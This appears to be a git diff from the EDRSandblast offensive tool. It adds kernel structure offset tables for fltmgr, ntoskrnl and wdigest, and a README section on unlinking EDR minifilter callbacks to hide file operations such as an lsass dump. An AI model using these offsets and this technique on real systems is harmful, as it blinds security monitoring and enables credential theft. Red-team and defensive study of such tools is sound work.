if os.path.isfile(args.output):
- loadOffsetsFromCSV(knownImageVersions[mode], args.output)
- print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"')
+ loadOffsetsFromCSV(known_image_versions[mode], args.output)
+ print(f'[+] Loaded {len(known_image_versions[mode])} known {mode} versions from "{args.output}"')
else:
with open(args.output, "w") as output:
- output.write(mode + "Version," + ",".join(elem[0] for elem in symbols[mode]) + "\n")
+ output.write(mode + "Version," + ",".join(elem for elem in symbols_names[mode]) + "\n")
# In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com.
# The symbols for each version will be downloaded from the Microsoft symbols servers.
@@ -431,7 +451,7 @@ if __name__ == "__main__":
print("[!] ERROR : in download mode, -i / --input option must specify a folder")
exit(1)
extension = extensions_by_mode[mode]
- downloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input)
+ downloadPEFileFromMS(mode, extension, known_image_versions[mode], args.input)
# Extract the offsets from the specified file or the folders containing image files.
extractOffsets(args.input, args.output, mode)
diff --git a/Offsets/FltmgrOffsets.csv b/Offsets/FltmgrOffsets.csv
new file mode 100644
index 0000000..fd3842c
--- /dev/null
+++ b/Offsets/FltmgrOffsets.csv
@@ -0,0 +1,90 @@
+fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink
+fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70
+fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70
+fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70
+fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70
diff --git a/Offsets/NtoskrnlOffsets.csv b/Offsets/NtoskrnlOffsets.csv
index acfc303..d387b53 100644
--- a/Offsets/NtoskrnlOffsets.csv
+++ b/Offsets/NtoskrnlOffsets.csv
@@ -1,4 +1,4 @@
-ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY,_ETW_GUID_ENTRY,PsProcessType,PsThreadType,_OBJECT_TYPE,SeCiCallbacks
+ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS_Protection,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY_GuidEntry,_ETW_GUID_ENTRY_ProviderEnableInfo,PsProcessType,PsThreadType,_OBJECT_TYPE_CallbackList,SeCiCallbacks
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8,31ee80
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8,31ef40
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40
@@ -55,6 +55,7 @@ ntoskrnl_10240-20048.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8,32b06
ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8,32b0a0
ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
+ntoskrnl_10240-20307.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8,2d8d40
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
@@ -154,6 +155,7 @@ ntoskrnl_14393-5921.exe,33ce20,33cc20,33ca20,6ca,0,20,50,3a9250,3a9278,c8,2fffa0
ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8,300080
ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300020
ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8,300020
+ntoskrnl_14393-6451.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300040
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
@@ -433,6 +435,7 @@ ntoskrnl_17763-4644.exe,4d8900,4d8b00,4d8700,6ca,409458,20,60,5402d0,5402f8,c8,4
ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8,40cc40
ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8,40cca0
ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8,40cc60
+ntoskrnl_17763-5122.exe,4d8bc0,4d87c0,4d89c0,6ca,409498,20,60,5402d0,5402f8,c8,40cc80
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8,433200
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8,433220
@@ -589,6 +592,7 @@ ntoskrnl_19041-3448.exe,cec460,cec260,cec060,87a,c19858,20,60,cfc410,cfc440,c8,c
ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8,c1d900
ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900
ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0
+ntoskrnl_19041-3693.exe,cec120,cec520,cec320,87a,c19798,20,60,cfc410,cfc440,c8,c1d8e0
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0
@@ -666,3 +670,4 @@ ntoskrnl_22621-2283.exe,d0c440,d0c240,d0c040,87a,c318e0,20,60,d1da18,d1da40,c8,c
ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8,c374c0
ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8,c37560
ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500
+ntoskrnl_22621-2715.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500
diff --git a/Offsets/WdigestOffsets.csv b/Offsets/WdigestOffsets.csv
index eeb8fd2..a6f5fe4 100644
--- a/Offsets/WdigestOffsets.csv
+++ b/Offsets/WdigestOffsets.csv
@@ -1,14 +1,16 @@
-imageVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled
+wdigestVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled
wdigest_10240-16384.dll,35134,0
wdigest_10240-17184.dll,35144,34ba0
wdigest_10240-18244.dll,35144,34ba0
wdigest_10240-18608.dll,35144,34ba0
wdigest_10240-18638.dll,35144,34ba0
+wdigest_10240-20307.dll,35174,34ba0
wdigest_10586-0.dll,35db0,35ba8
wdigest_14393-0.dll,35dc0,35ba8
wdigest_14393-3024.dll,35dc0,35ba8
wdigest_14393-3750.dll,35dc0,35ba8
wdigest_14393-3808.dll,35dc0,35ba8
+wdigest_14393-6451.dll,35de8,35ba8
wdigest_15063-0.dll,34d8c,34b88
wdigest_15063-1868.dll,34d8c,34b88
wdigest_15063-2409.dll,34d8c,34b88
@@ -38,6 +40,7 @@ wdigest_17763-3887.dll,38234,37c08
wdigest_17763-4011.dll,38234,37c08
wdigest_17763-4131.dll,38234,37c08
wdigest_17763-4974.dll,428c4,421b8
+wdigest_17763-5122.dll,428c4,421b8
wdigest_18362-1.dll,35124,34b88
wdigest_18362-175.dll,35124,34b88
wdigest_18362-900.dll,35124,34b88
@@ -56,6 +59,8 @@ wdigest_19041-3505.dll,45a24,452e8
wdigest_19041-3516.dll,45a14,452e8
wdigest_19041-3570.dll,45a14,452e8
wdigest_19041-3636.dll,45a14,452e8
+wdigest_19041-3684.dll,45a24,452e8
+wdigest_19041-3693.dll,45a24,452e8
wdigest_22000-1.dll,3caa4,3cab0
wdigest_22000-434.dll,3caa4,3cab0
wdigest_22000-1030.dll,3caa4,3cab0
@@ -75,3 +80,5 @@ wdigest_22621-2070.dll,4b5ac,4b5b8
wdigest_22621-2361.dll,4b59c,4b5a8
wdigest_22621-2506.dll,4b59c,4b5a8
wdigest_22621-2700.dll,4b59c,4b5a8
+wdigest_22621-2715.dll,4b5ac,4b5b8
+wdigest_22621-2771.dll,4b5ac,4b5b8
diff --git a/README.md b/README.md
index 5d4fd0b..dcc3d14 100644
--- a/README.md
+++ b/README.md
@@ -160,6 +160,42 @@ However, performing the disabling / re-enabling (and "malicious" action in-betwe
enough should be enough to "race" *PatchGuard* (unless you are unlucky and a periodic
check is performed just at the wrong moment).
+### EDR bypass through minifilters' callbacks unlinking
+The Windows Filter Manager system allows an EDR to load a "minifilter" driver and
+register callbacks in order to be notified of I/O operations, such as file opening,
+reading, writing, etc.
+
+Here is a quick sum-up of different internal structures used by the filter manager:
+- The Filter Manager establishes a "frame" (`_FLTP_FRAME`) as its root structure;
+- A "volume" structure (`_FLT_VOLUME`) is instanciated for each "disk" managed by the
+Filter Manager (can be partitions, shadow copies, or special ones corresponding to
+named pipes or remote file systems);
+- To each registered minifilter driver corresponds a "filter" structure (`_FLT_FILTER`),
+describing various properties such as its supported operations;
+- These minifilters are not all attached to each volume; an "instance" (`_FLT_INSTANCE`)
+structure is created to mark each of the
+ filter<->volume associations;
+- Minifilters register callback functions that are to be executed before and/or after
+ specific operations (file open, write, read, etc.). These callbacks are described in
+`_CALLBACK_NODE` structures, and can be accessed by different ways:
+ - An array of all `_CALLBACK_NODE`s implemented by an instance of a minifilter
+ can be found in the `_FLT_INSTANCE` structure; the array is indexed by the IRP
+ "major function" code, a constant representing the operations handled by the
+ callbacks (`IRP_MJ_CREATE`, `IRP_MJ_READ`, etc.).
+ - Also, all `_CALLBACK_NODE`s implemented by instances linked to a specific volume
+ are regrouped in linked lists, stored in the `_FLT_VOLUME.Callbacks.OperationLists`
+ array indexed by IRP major function codes.
+
+These different structures are browsed by `EDRSandblast` to detect filters that are
+associated with EDR-related drivers, and the callback nodes containing monitoring
+functions are enumerated. To disable their effect, the nodes are unlinked from their
+lists, making them temporarily invisible from the filter manager.
+
+This way, during a specified period, the EDR can be completely unaware of any file
+operations. A basic example would be the creation of an lsass memory dump file on disk,
+that would not trigger any analysis from the EDR, and thus no detection based on the
+file itself.
+
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
The `ETW Microsoft-Windows-Threat-Intelligence` provider logs data about the
@@ -721,7 +757,7 @@ Finally, to detect hooking bypass (abusing a trampoline, using direct syscalls,
## Thanks to contributors
* [v1k1ngfr](https://github.com/v1k1ngfr): for Driver Signature Enforcement bypass (via `g_CiOptions` patching) and GDRV.sys driver support
-* [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*)
+* [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*) and their major contribution on the minifilter bypass feature
## Licence